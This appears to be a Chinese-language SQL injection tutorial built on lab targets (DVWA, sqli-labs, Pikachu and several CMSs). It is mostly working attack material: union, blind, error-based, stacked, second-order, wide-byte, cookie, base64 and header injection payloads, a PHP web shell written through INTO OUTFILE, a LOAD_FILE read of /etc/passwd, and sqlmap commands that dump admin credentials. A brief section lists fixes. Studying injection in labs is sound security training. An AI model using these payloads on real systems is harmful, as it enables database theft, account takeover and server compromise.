46 KiB
SQL注入漏洞
1. Mysql回顾
1.1 数据库结构基础
如图所示 数据库 为层级结构:
+数据库 ( database )
+ - 表_user ( table_user )
+ - 表_users ( table_users )
+ + - 列_id (column_id)
+ + - 列_username (column_username)
+ + - 列_password (column_password)
+ + + - 数据
+ + + - 数据
1.2 数据库语法基础
常用语法:
SELECT
SELECT 列名1, 列名2, ... FROM 表名 WHERE 条件
UNION
SELECT 列名 FROM 表名
UNION
SELECT 列名_1 FROM 表名_1;
注意 使用 UNION
的时候要注意两个表的列数量必须相同。
LIMIT
- SQL #返回表中前number行数据
SELECT column1, column2, ... FROM table_name LIMIT number;
## 从offset+1行开始返回row_count行数据
SELECT column1, column2, ... FROM table_name LIMIT offset, row_count;
## 比如 LIMIT 10, 10 返回11-20行数据
- 注释
--
,注意在两个减号后必须要有一个空格#
,注释符号,注意在网站url中,#被认为是锚点/* 被注释的部分 */
,注释一个范围/*!32302 被注释的部分 */
,只有大于对应版本的mysql,此处代码才会被执行- 32302是 MySQL版本号(这里是5.0.3版本,因为MySQL用
32302
表示5.0.3),具体版本在遇到的时候查询即可。
- 32302是 MySQL版本号(这里是5.0.3版本,因为MySQL用
SELECT username,password FROM users WHERE id = ((1)) union select username,password from user;-- )) limit1,1;后面的内容都将被注释
DROP sampletable;# 后面的内容都将被注释
DROP/*comment*/sampletable
DR/**/OP/*绕过过滤*/sampletable
SELECT/*替换空格*/password/**/FROM/**/Members
## /**/可用于替换空格
## /*中间的内容都将被注释*/
SELECT /*!32302 1/0, */ 1 FROM tablename
## 这种 /*! 注释仅在MySQL中存在
SELECT * FROM users /*!32302 WHERE id = 1 */;
## MySQL ≥ 5.0.3:实际执行的是 SELECT * FROM users WHERE id = 1;
## MySQL < 5.0.3:执行的是 SELECT * FROM users;(WHERE条件被忽略)
Order by
SELECT column1, column2, ... FROM table_name [WHERE condition] ORDER BY column_name [ASC|DESC];
SELECT * FROM table_name ORDER BY column_name DESC LIMIT 10;
## DESC表示降序,ASC表示升序(默认行为,不写就是升序)
其中,column1、column2 等表示要查询的列名,table_name 表示要查询的表名,condition 表示查询条件,column_name 表示要按照哪一列进行排序,ASC 或 DESC 表示升序或降序排列。可以使用多个列名来进行排序,多个列名之间用逗号分隔。
## 在SQL注入中我们常用它来判断列数
SELECT column1, column2 FROM table_name [WHERE condition] ORDER BY 1;# 不报错
SELECT column1, column2 FROM table_name [WHERE condition] ORDER BY 2;# 不报错
SELECT column1, column2 FROM table_name [WHERE condition] ORDER BY 3;# 报错
常用参数:
user()
:当前数据库用户database()
:当前数据库名version()
:当前使用的数据库版本@@datadir
:数据库存储数据路径concat()
:联合数据,用于联合两条数据结果。如concat(username,0x3a,password)
group_concat()
:和concat()
类似,如group_concat(DISTINCT+user,0x3a,password)
,用于把多条数据一次注入出来concat_ws()
:用法类似hex()
和unhex()
:用于 hex 编码解码ASCII()
:返回字符的 ASCII 码值CHAR()
:把整数转换为对应的字符load_file()
:以文本方式读取文件,在 Windows 中,路径设置为\\
select xxoo into outfile '路径'
:权限较高时可直接写文件
1.3 模式(SCHEMA)
在 mysql5 版本以后,mysql 默认在数据库中存放在一个叫 information_schema 里面这个库里面有很多表,这些表记录着Mysql数据库的相关信息,其中有几个表需要我们注意。
SCHEMATA表中SCHEMA_NAME保存着所有数据库的名字
可以使用如下的sql命令在information_schema数据库中查询所有数据库名
TABLES表中保存着Mysql中所有的表名
可以使用如下sql语句查询出指定数据库的所有表
COLUMNS表中保存了所有的列名
可以使用如下的方式查询到指定表的列名
2.SQL注入原理
SQL注入漏洞的产生需要满足以下两个条件
- 参数用户可控:从前端传给后端的参数内容是用户可以控制的
- 参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询
2.1 案例展示
比如下面的语句:
$sql = "SELECT username,password FROM users WHERE id = ".$_GET["id"];
对于他的预期操作,一般一个 id 是用来索引的 , 传入的值应该是:
$_GET["id"] = 1;
$_GET["id"] = 2;
所以预期执行的语句应该是:
$sql = "SELECT username,password FROM users WHERE id = 1";
$sql = "SELECT username,password FROM users WHERE id = 2";
......
在没有过滤的情况下,我们能够在后面拼接我们自己的语句
比如,我们传入的值:
$_GET["id"] ="1 union select username,password from user"
那么最后执行的语句就是:
$sql = "SELECT username,password FROM users WHERE id = 1 union select username,password from user;"
这样就造成了非预期语句的执行,我们在获得 users
表中的预期数据的同时也获得了 users
表中的非预期数据。
当你看到这时,不需要对语句有具体了解,但你需要知道 SQL 注入是一个怎么样的过程。
下面我们从数据库基础 —— 结构 基本语法开始 一步一步引到学会基础的 SQL 注入。
2.2 注入流程
2.2.1 信息收集
目标:了解目标系统的数据库类型、结构和可能的注入点
- 识别输入点:
- URL参数
- 表单字段
- HTTP头(Cookie, User-Agent等)
- API端点
- 收集系统信息:
- 识别后端数据库类型(MySQL, MSSQL, Oracle等)
- 确定Web服务器和编程语言
- 分析错误信息
2.2.2 初步测试
目标:确认是否存在SQL注入漏洞
- 基础注入测试
' OR 1=1 --
" OR 1=1 --
' OR 'a'='a
- 逻辑测试
- 添加
AND 1=1
和AND 1=2
观察响应差异 - 使用
SLEEP()
或WAITFOR DELAY
测试时间盲注
- 添加
- 注释测试
' --
' /*
'; --
2.2.3 漏洞确认阶段
目标:确认漏洞类型和可利用性
- 确定注入类型:
- 基于错误的注入
- 布尔盲注
- 时间盲注
- 联合查询注入
- 测试数据库功能:
- 测试字符串连接功能
- 测试注释功能
- 测试堆叠查询能力
2.2.4 数据提取阶段
目标:利用确认的漏洞提取数据库信息
-
提取基本信息:
' UNION SELECT 1,@@version,3 -- ' UNION SELECT 1,user(),3 -- ' UNION SELECT 1,database(),3 --
-
提取表结构:
' UNION SELECT 1,table_name,3 FROM information_schema.tables --
-
提取列信息:
' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users' --
2.2.5 高级利用阶段
目标:获取更敏感数据或系统权限
-
读取文件:
' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3 --
-
写入文件:
'; SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/shell.php' --
-
执行系统命令(取决于数据库类型和权限)
2.2.6 报告阶段
目标:记录发现并建议修复方案
- 详细记录:
- 漏洞位置
- 利用方法
- 影响范围
- 复现步骤
- 修复建议:
- 使用参数化查询
- 实施输入验证
- 最小权限原则
- WAF规则
3. 注入分类
3.1 注入类型
SQL注入分类,按SQLMap中的分类来看,SQL注入类型有以下5种:
- UNION query SQL injection(可联合查询注入)
- Stacked queries SQL injection(可多语句查询注入,堆叠查询)
- Boolean-based blind SQL injection(布尔型注入)
- Time-based blind SQL injection(基于时间延迟注入)
3.2 请求类型
- GET注入
- POST注入
- 头部注入
3.3 数据类型
SQL注入按照输入参数的数据类型分类
- 数字型注入(Integer-Based)
- 特点:参数为纯数字(如ID、年龄、页码),无需引号闭合。
id=1 OR 1=1 -- 永真条件
id=1 AND 1=0 -- 永假条件(测试响应差异)
id=1; DROP TABLE users -- 堆叠查询(需数据库支持)
- 字符串型注入(String-Based)
-
特点:参数为字符串(如用户名、搜索词),需闭合引号。
-
关键点:需处理单引号/双引号闭合,常见于登录框、搜索框。
-
username=' OR '1'='1' --
password=' UNION SELECT 1,2,3 --
search=' AND 1=CONVERT(int,@@version) --
- 搜索型注入(Like/模糊查询注入)
- 特点:参数用于模糊查询(
LIKE
语句),可能包含通配符(%
、_
)。
- 特点:参数用于模糊查询(
search=%' AND 1=1 --
search=test%' UNION SELECT database(),2,3 --
4. union联合注入
4.1 注入原理
创建表
create table admin(
id int PRIMARY key auto_increment,
username VARCHAR(255) not null,
password VARCHAR(255) not null
) ENGINE=innodb default charset=utf8;
insert into admin(username, password) value
('张三','123456'),
('李四','654321');
查询表
如果不知道用户名的情况下,就不会查询到任何结果
可以使用union查询在结果后面拼接一个内容
拼接上去的内容列数必须要与之前查询结果显示的列数相同,不然会报错
在拼接上去的内容里面可以插入一些查询函数,就可以获取一些信息
4.2 靶场案例
DVWA靶场案例
分析代码
使用$_REQUEST 直接接收 id 参数,且没有进行过滤,且可以接收 cookie get post 这些传递方法。当传入 1 的时,页面正常返回用户信息。
如果传入 1' 语法会出现语句 You have an error in your SQL syntax;这种英文是mysql 语法错误提示
根据代码分析'$id'是属于字符串类型 所以在进行 SQL 注入检测的时候要注意匹配字符串
4.2.1 判断SQL注入
输入 1'and '1'='1页面返回用户信息 1'and '1'='2 页面返回不一样的信息。基本可以确定存在 SQL注入漏洞
4.2.2 判断字段数
使用语句 order by 确定当前表的字符数 order by 1 如果页面返回正常 字段数不少于 1,order by 2 不少于 2,一直如此类推直到页面出错。正确的字段数是出错数字减少 1
4.2.3 获取敏感信息
获取可以得到回显的位置,在此案例中两个字段都可以回显
获取当前数据库名称,group_concat()可以将多组数据进行合并,0x3A是冒号的HEX编码
知道当前数据库是d14_s_iproute_cn
4.2.4 获取表名
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='d14_s_iproute_cn' --
知道当前数据表名是guestbook,users
4.2.5 获取字段名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' --
敏感字段为user,password
4.2.6 获取字段内容
-1' union select 1,group_concat(user,0x3A,password) from users limit 0,1 --
5. Boolean布尔型盲注
在SQL注入攻击中,盲注(Blind SQL Injection) 是一种特殊类型,其核心特点是攻击者无法直接获取数据库的错误信息或查询结果,只能通过应用程序的间接响应(如页面状态变化、响应时间差异)来推断数据。以下是其核心要点:
- 无直接回显
与常规注入不同,盲注场景下:
- 数据库执行结果不会直接显示在页面上;
- 无论输入正确或错误值,页面可能返回相同内容(如仅显示“查询成功/失败”)
- 依赖间接反馈
攻击者需通过以下方式判断注入结果:
- 页面状态变化:如内容长度、HTTP状态码、特定关键词出现与否;
- 响应时间差异:通过延时函数人为制造时间延迟,观察页面加载时长
5.1 判断布尔型盲注
代码分析
输入SQL注入检测语句,判断页面是否不一样,如果不一样大概会存在SQL注入漏洞。
也可以使用sleep()函数查看是否会存在时间盲注
5.2 获取数据库信息
substring(<字符串>,<开始截取>,<截取长度>)
通过将查询到的结果的字母进行比对,可以通过布尔型盲注获取数据的内容,以下代码可以确认数据库名第一个字母是d,如果不是d将会显示另外一个不匹配的页面
1' and substring(database(),1,1)='d' --
接下来可以查询第二个字母,并且以此类推,可以将需要查询的字符转换为ascii字符编码,然后进行大于小于比对加快查询速度,通过对照ascii码表可以很快锁定字符是什么
1' and ascii(substring(database(),1,1))>97 --
5.3 使用burpsuite工具
使用burpsuite抓取提交的数据包,通过如下代码获取表名
1' and substring((select table_name from information_schema.tables where table_schema=database() limit 1),1,1)='d' --
选择cluster bomb模式,并且在如下两个位置处插入变量,方便后续通过字典进行穷举
第一个变量是字符的长度,可以适当设置长一些
第二个变量选择从字符中遍历
开启进行测试
将得到的结果进行整理,可以获取到想要的数据
由于服务器并不区分大小写,所以将字典中大写删除,再次尝试,得到有一个表名为guestbook
通过此方式可以将数据库中的敏感信息全部查询出来,第二个数据表名为users
通过这样的方式,可以将数据库中的信息全部获取
6. 报错注入
数据库显错是指,数据库在执行时,遇到语法不对,会显示报错信息,例如语法错误语句select'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' at line 1
程序开发期间需要告诉使用者某些报错信息 方便管理员进行调试,定位文件错误。特别 php 在执行 SQL 语句时一般都会采用异常处理函数,捕获错误信息。在 php 中 使用 mysql_error()函数。如果 SQL 注入存在时,会有报错信息返回,可以采用报错注入。
如果语法错误,在PHP中,可以使用mysqli_error()、mysqli_connect_error()语句将语法错误信息显示到页面上。
6.1 updatexml报错注入
已知在sql语句中有种函数是updatexml(xml_target, xpath_expr, new_xml),这个函数原本的作用是用来更新选定XML片段的内容,但是原本的作用已经不重要了,我们发现只要xpath_expr不是一个目录路径,这个代码就会报错
通过上面的测试,我们发现这个报错信息中包含了我们写入的查询语句,也就是如果发现网站存在sql报错的地方,就可以执行任意的查询语句
select updatexml('1',concat('~',(你要查询的语句)),'1');
在配合上我们前面学来的从information_schema中的一系列查询,就可以把敏感信息从数据库中查询出来
6.2 靶场实战
构造工具语句,获取数据库名信息
1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+&Submit=Submit#
但是采用updatexml报错函数只能显示32位长度的内容,如果获取的内容超过32字符就要采用字符串截取方法。 updatexml()最多显示32位长度的错误字符,如果显示内容过长我们可以使用substr()来截取。
## substr(password,10)表示从第10位开始截取后面的内容
' and updatexml('1',concat('~',(
select substr(password,10) from admin limit 0,1
)),'1')#
使用下面语句查询表名
1'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema= database()),0x7e),1) --+&Submit=Submit#
使用下面语句查询字段名
1'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) --+&Submit=Submit#
得到的结果如下,显示并不完整
截取字符串,查看完整内容
1'and updatexml(1,concat(0x7e,(select substr(group_concat(column_name),50) from information_schema.columns where table_name='users'),0x7e),1) --+&Submit=Submit#
一直查询到结束,获得完整字符串为
~user_id,first_name,last_name,user,password,avatar,last_login,failed_login~
也可以使用limit来将字段名一个个获取
1' and updatexml(1,concat(0x7e,(
select column_name from information_schema.columns where table_name='users' limit 0,1
),0x7e),1) --+&Submit=Submit#
查看到第一个字段名
查看第二个字段名
1' and updatexml(1,concat(0x7e,(
select column_name from information_schema.columns where table_name='users' limit 1,1
),0x7e),1) --+&Submit=Submit#
可以使用 burpsuite 批量对字段批量获取,首先抓包,修改变量,设置匹配规则。
开始攻击,并且最终得到所有的字段名
通过这样的方式可以获取所有的用户名和密码
1' and updatexml(1,concat(0x7e,(select concat(0x23,user,0x3a,password,0x23) from users limit 0,1),0x7e),1) --+&Submit=Submit#
由于updatexml只能显示32位报错信息,所以此处显示不完整,下面的floor报错将没有限制字符限制。
6.3 floor报错注入
利用 GROUP BY
与 COUNT(*)
、FLOOR(RAND(0)*2)
组合时,因临时表主键冲突触发报错,通过报错信息泄露数据。
6.3.1 关键函数说明
函数 | 作用 |
---|---|
FLOOR() |
向下取整(如 FLOOR(1.7)=1 ) |
RAND(0) |
生成固定伪随机序列 |
CONCAT() |
用分隔符拼接字符串 |
GROUP BY |
分组统计(触发虚拟表创建) |
6.3.2 核心机制
- 伪随机序列固定性 RAND(0) 在固定种子下生成序列 0, 1, 1, 0, 1, 1...,FLOOR() 取整后得 0 或 1
## 查询users中的数据,但是select显示的结果是处理后的随机0和1
MariaDB [dvwa]> select floor(rand(0)*2) from users;
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
+------------------+
5 rows in set (0.00 sec)
## 在显示的0和1前面拼接想要查询的语句
MariaDB [dvwa]> select concat((select database()),floor(rand(0)*2)) from users;
+----------------------------------------------+
| concat((select database()),floor(rand(0)*2)) |
+----------------------------------------------+
| dvwa0 |
| dvwa1 |
| dvwa1 |
| dvwa0 |
| dvwa1 |
+----------------------------------------------+
5 rows in set (0.00 sec)
- 虚拟表主键冲突
GROUP BY 分组时会创建虚拟表存储键值(key)和计数(count(*))。流程如下:
- 首次计算 FLOOR(RAND(0)*2) 作为查询键;
- 若键不存在,插入前重新计算该值作为实际插入键;
- 因计算次数 > 插入次数,导致插入值与查询值不一致,最终触发主键重复错误
## 计算此表中一共有几个数据
MariaDB [dvwa]> select count(*) from users;
+----------+
| count(*) |
+----------+
| 5 |
+----------+
1 row in set (0.00 sec)
## 计算此表中user列每个元素出现的次数
## 注意查询结果是个虚拟表,这个虚拟表中user列是索引,不允许出现重复,不然会报错
MariaDB [dvwa]> select count(*) as user_count, user from users group by user;
+------------+---------+
| user_count | user |
+------------+---------+
| 1 | 1337 |
| 1 | admin |
| 1 | gordonb |
| 1 | pablo |
| 1 | smithy |
+------------+---------+
5 rows in set (0.01 sec)
- 报错泄露数据 冲突报错信息 Duplicate entry 'X' for key 'group_key' 中的 X 包含拼接的注入数据(如数据库名)
## 让group by后面的x列,通过计算,出现重复,这样就报错了
MariaDB [dvwa]> select count(*),(concat((select database()),floor(rand(0)*2)))x from users group by x;
ERROR 1062 (23000): Duplicate entry 'dvwa1' for key 'group_key'
- dvwa靶场
- 使用burpsuite获取所有的用户名和密码
1' or (select 1 from(select count(*),concat(floor(rand(0)*2),0x7e,(
select concat(0x23,user,0x3a,password,0x23) from users limit 0,1
),0x7e)x from information_schema.tables group by x)a)--+&Submit=Submit#
6.4 十大报错函数
- floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
- extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
- updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
- geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
- multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
- polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
- multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
- linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
- multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
- exp()
select * from test where id=1 and exp(~(select * from(select user())a));
7. 时间注入
时间注入又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型注入获取数据而采用一种突破注入的技巧。 在 mysql 里 函数 sleep() 是延时的意思,sleep(10)就是 数据库延时 10 秒返回内容。判断注入可以使用'and sleep(10) 数据库延时 10 秒返回值 网页响应时间至少要 10 秒根据这个原理来判断存在 SQL 时间注入。 代码示例
select if(2>1,sleep(10),0)
select if(length(database())>1,sleep(5),0)
1' or if(length(database())>1,sleep(5),0)--
查看网页响应时间,可以确认判断内容是否正确,下面两张图显示的是正确和错误时间上的差异
7.1 源码分析
此处选用的靶场是Pikachu
打开源码
7.2 sqlmap实战
使用sqlmap对注入检测(pikachu)
sqlmap -u "http://192.168.173.130:32771/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T
-u 表示检测的url
-p 指定的检测参数
-v 显示调试模式
--technique=T 检测方法为时间注入
sqlmap 检测为时间注入,接下来通过这个注入获取数据库敏感信息。
sqlmap -u "http://192.168.173.130:32771/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --current-user --current-db --batch
--current-user 获取用户
--current-db 获取数据库名
--batch 使用默认模式 就是自动帮你敲回车
sqlmap -u "http://192.168.173.130:32771/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --batch --tables -D pikachu
-D 指定数据库
--tables 获取表
sqlmap -u "http://192.168.173.130:32771/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --batch -D pikachu -T users --columns
-T 指定表
--columns 获取字段名
sqlmap -u "http://192.168.173.130:32771/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --batch -D pikachu -T users -C "id,username,password" --dump
-C 指定查询的字段
--dump 导出数据
8. 堆叠注入
一次性执行多个 SQL 语句的时候,比如说初始化数据库,导入备份。
堆叠查询:堆叠查询可以执行多条 SQL 语句,语句之间以分号(;)隔开,而堆叠查询注入攻击就是利用此特点,在第二条语句中构造要执行攻击的语句。
堆叠注入的危害是很大的 可以任意使用增删改查的语句,例如删除数据库 修改数据库,添加数据库用户。
在 php 里 mysqli_multi_query 和 mysql_multi_query这两个函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。
MariaDB [(none)]> select version();select database();
+--------------------------+
| version() |
+--------------------------+
| 10.1.26-MariaDB-0+deb9u1 |
+--------------------------+
1 row in set (0.00 sec)
+------------+
| database() |
+------------+
| NULL |
+------------+
1 row in set (0.00 sec)
8.1 源码分析
此处使用的靶场是sqli-labs,第38关
查看源代码
8.2 漏洞利用
可以先使用1' and 1=2--+
和1' and 1=1--+
确定是否存注入,然后使用堆叠注入进行检测。
1' order by 3--+
-1' union select 1,2,3 --+
-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1)--+
获取字段名
-1' union select 1,2,(
select group_concat(column_name) from information_schema.columns where table_name='users' limit 1
)--+
在知道表和列的情况下,手动添加用户,如果有管理员表,还可以直接添加管理员
-1';insert into users(id,username,password)values(1000,'user666','123456')--+
下面访问id为1000的用户
9. 二次注入
二次注入漏洞是一种在 Web 应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。
二次注入的原理,在第一次进行数据库插入数据的时候,仅仅只是使用了addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,但是 addslashes 有一个特点就是虽然参数在过滤后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行下一步的检验和处理,这样就会造成 SQL 的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入.
9.1 源码分析
此处选用靶场sqli-labs第24关
查看源码
在login.php源码中查看
在pass_change.php中查看源码
开发人员认为session作为服务器上存在的数据,并不是让用户输入的数据就是安全的,但是此处的用户名用户完全可以构造一个sql注入语句,这样在修改密码的时候就可以触发执行了恶意代码。
9.2 注入利用
二次注入判断,一般情况下网站都会对输入的参数进行过滤,后寻找可能会带入恶意数据二次使用的地方。
例如用户注册->修改密码,邮箱注册->修改密码,文章添加->文章编辑。找一切存在二次使用的功能点。
分别注册如下三个用户,密码随意
a'`,`a' and 1=1#`,`a' and 1=2#
并且尝试修改这三个用户的密码,确认密码是否修改成功,下面是注册后数据库的界面
mysql> select * from users;
+------+-------------+------------+
| id | username | password |
+------+-------------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 1000 | user666 | 123456 |
| 1001 | a' | 123123 |
| 1002 | a' and 1=1# | 123123 |
| 1003 | a' and 1=2# | 123123 |
+------+-------------+------------+
17 rows in set (0.00 sec)
发现如果用户是a' and 1=2#
密码怎么都修改不成功,跳出来bug提示页面
可以尝试修改其他用户的密码,注册一个用户,用户名为
a';update users set password='a123456' where username='user888'#
但是,这个案例中username字段限制字符串最长为20,所以并不能够成功
mysql> select * from users;
+------+----------------------+------------+
| id | username | password |
+------+----------------------+------------+
...
| 1001 | a' | 123123 |
| 1002 | a' and 1=1# | 123123 |
| 1003 | a' and 1=2# | 123123 |
| 1004 | a';update users set | 123123 |
+------+----------------------+------------+
18 rows in set (0.00 sec)
## 可以看到username限制最长20个字符
mysql> explain users;
+----------+-------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+----------+-------------+------+-----+---------+----------------+
| id | int(3) | NO | PRI | NULL | auto_increment |
| username | varchar(20) | NO | | NULL | |
| password | varchar(20) | NO | | NULL | |
+----------+-------------+------+-----+---------+----------------+
3 rows in set (0.00 sec)
注册用户user888
,密码为123456
注册用户user888'#
,然后修改密码为a123456
然后发现竟然修改了user888用户的密码,如果user888用户是管理员的话,就可以获取管理员账户
mysql> select * from users;
+------+----------------------+------------+
| id | username | password |
+------+----------------------+------------+
...
| 1005 | user888'# | 123456 |
| 1006 | user888 | a123456 |
+------+----------------------+------------+
20 rows in set (0.00 sec)
9.3 靶场实战
此处选用骑士cms
先注册一个用户
在创建简历的地方存在二次注入漏洞,此处可以修改变量的值,并且会存入数据库中
直接暴露了数据库管理员账户
查看数据库版本信息
10. 宽字节注入
宽字节注入,在 SQL 进行防注入的时候,一般会开启 gpc,过滤特殊字符。
一般情况下开启 gpc 是可以防御很多字符串型的注入,但是如果数据库编码不对,也可以导致 SQL 防注入绕过,达到注入的目的。如果数据库设置宽字节字符集 gbk 会导致宽字节注入,从而逃逸 gpc
前提条件
简单理解:数据库编码与 PHP 编码设置为不同的两个编码那么就有可能产生宽字节注入
深入讲解:要有宽字节注入漏洞,首先要满足数据库后端使用双/多字节解析 SQL语句,其次还要保证在该种字符集范围中包含低字节位是 0x5C(01011100) 的字符,初步的测试结果 Big5 和 GBK 字符集都是有的, UTF-8 和 GB2312 没有这种字符(也就不存在宽字节注入)。
gpc 绕过过程
%df%27===(addslashes)===>%df%5c%27===(数据库 GBK)===>運'
10.1 源码分析
此处靶场为sqli-labs第32关
从源代码分析,存在漏洞的代码 首先 check_addlashes 是将特殊字符进行过滤将' 变成' mysql_query 设置数据库的编码为 gbk 将 id 参数传入到 SQL 中带入查询。传入%df%27 即可逃逸 gpc,故存在宽字节注入。
10.2 注入利用
宽字节检测较为简单 输入%df%27 检测即可或者使用配合 and 1=1 检测即可
查询一下数据库敏感信息
-1%df' union select 1,version(),database()--+
11. Cookie注入
COOKIE 注入与 GET、POST 注入区别不大,只是传递的方式不一样。GET 在url 传递参数、POST 在 协议报文传递参数和值,COOKIE 在 cookie 头传值。
11.1 源码分析
此处靶场为sqli-labs第20关
11.2 注入利用
使用burpsuite抓包,并且修改post提交的数据 在cookie中提交注入代码,1=1和1=2网页内容不一样
使用order by + 联合查询,获取敏感数据
获取当前数据库名
获取数据表名
获取字段名
获取用户名密码
11.3 注入cms实战
源码下载:http://file.inmind-lab.com:30006/#s/_oOfV4uQ
很多cms会对get和post进行拦截
很多网站对于参数的接受的方法也是比较多的,post也可以传递
不过post数据也会作为过滤重点
cookie也一样能够提交参数
但是cookie却没有做拦截
使用sqlmap对cookie进行探测,得到服务器相关信息
sqlmap -u "http://127.0.0.1/shownews.asp" --cookie "id=27" --level 2
获取数据表名
sqlmap -u "http://127.0.0.1/shownews.asp" --cookie "id=27" --level 2 --tables
获取字段名
sqlmap -u "http://127.0.0.1/shownews.asp" --cookie "id=27" --level 2 -T "admin" --columns
获取管理员用户名和密码
sqlmap -u "http://127.0.0.1/shownews.asp" --cookie "id=27" --level 2 -T "admin" -C "username,password" --dump
12. base64编码注入
base64 一般用于数据编码进行传输,例如邮件,也用于图片加密存储在网页中。
数据编码的好处是,防止数据丢失,也有不少网站使用 base64 进行数据传输,如搜索栏 或者 id 接收参数 有可能使用 base64 处理传递的参数。
在 php 中 base64_encode()函数对字符串进行 base64 编码,既然可以编码也可以进行解码,base64_decode()这个函数对 base64 进行解码。
base64 编码注入,可以绕过 gpc 注入拦截,因为编码过后的字符串不存在特殊字符。编码过后的字符串,在程序中重新被解码,再拼接成 SQL 攻击语句,再执行,从而实现 SQL 注入。
12.1 源码分析
此处靶场为sqli-labs第21关
12.2 注入利用
首先观察网站是否存在 base64 编码的数据,例如传递的 id 的值,搜索模块。
如果存在类似==等,可以用 base64 解码进行测试。
admin'and 1=1-- 编码 YWRtaW4nYW5kIDE9MS0tIA==
admin'and 1=2-- 编码 YWRtaW4nYW5kIDE9Mi0tIA==
本次测试的页面是 cookie 所以需要 cookie 提交 而且有括号需要闭合
使用报错注入也可以
uname=admin') and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--
13. xff注入
X-Forwarded-For 简称 XFF 头,它代表了客户端的真实 IP,通过修改他的值就可以伪造客户端 IP。XFF 并不受 gpc 影响,而且开发人员很容易忽略这个 XFF 头,不会对 XFF 头进行过滤。 除了 X-Forwarded-For 还有 HTTP_CLIENT_IP 都可以由客户端控制值,所以服务端接受这两个参数的时候 没有过滤会造成 SQL 注入或者更高的危害。
13.1 注入cms实战
此处靶场为bluecms
在大部分需要提交信息的网站上,记录IP地址是必须的,即使HTTP头部没有X-Forwarded-For或者client-ip也会被记录,所以手动添加在很多时候也是可行的。
分析报错的原始sql语句,其中123是提交的评论内容
INSERT INTO blue_comment (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '4', '0', '1', '1', '123', '1675321172', '1.1.1.1'', '1')
我们可以闭合标签,追加一行内容,下面的内容中,第2行就是要加入的注入语句,这样就可以将我们想查询的内容以评论的方式留在网页上
INSERT INTO blue_comment (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '4', '0', '1', '1', '123', '1675321172', '
1.1.1.1', '1'),('', '4', '0', '1', '1', (select concat(admin_name,0x3a,pwd) from blue_admin limit 0,1), '1675321172', '1.1.1.1', '1')#
使用sqlmap对http头部进行注入,指定注入点,将内容保存到记事本中
sqlmap -r C:\Users\simid\Desktop\p.txt --batch --tables -D d6_s_iproute_cn